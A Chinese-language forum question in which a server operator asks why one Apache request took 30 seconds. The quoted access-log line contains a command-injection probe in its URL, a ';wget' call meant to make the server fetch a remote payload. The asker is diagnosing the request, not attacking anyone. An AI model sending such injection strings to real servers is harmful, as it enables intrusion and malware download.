什么原因导致 Apache 花费 30 秒来处理通常只需不到 1 秒的请求?

什么原因导致 Apache 花费 30 秒来处理通常只需不到 1 秒的请求?

我正在检查我的 Apache 访问日志并发现了这一行:

%T Method Request                                                        Protocol  Status %I  %b    %O   User-Agent   
30 GET    /?x0a/x04/x0a/x02/x06/x08/x09/dns;wget%20example.com/some0day; HTTP/1.0  200    176 11593 8000 SomeBot

该请求不会在服务器繁忙时发生。此外,这种缓慢并没有出现在我的数据库慢查询日志中。这只是一次性事件。

由于这是 GET 查询,我想知道为什么它会导致这样的服务器延迟。输出大小%b表明我的 Web 应用程序已正常处理它,并且应用程序日志中没有错误表明相反的情况。但是,当它发送回客户端时,输出似乎被截断,因为%O小于%b

我知道这可能是一种攻击。但我想知道是什么原因导致 Apache 花费这么长时间来处理请求。

相关内容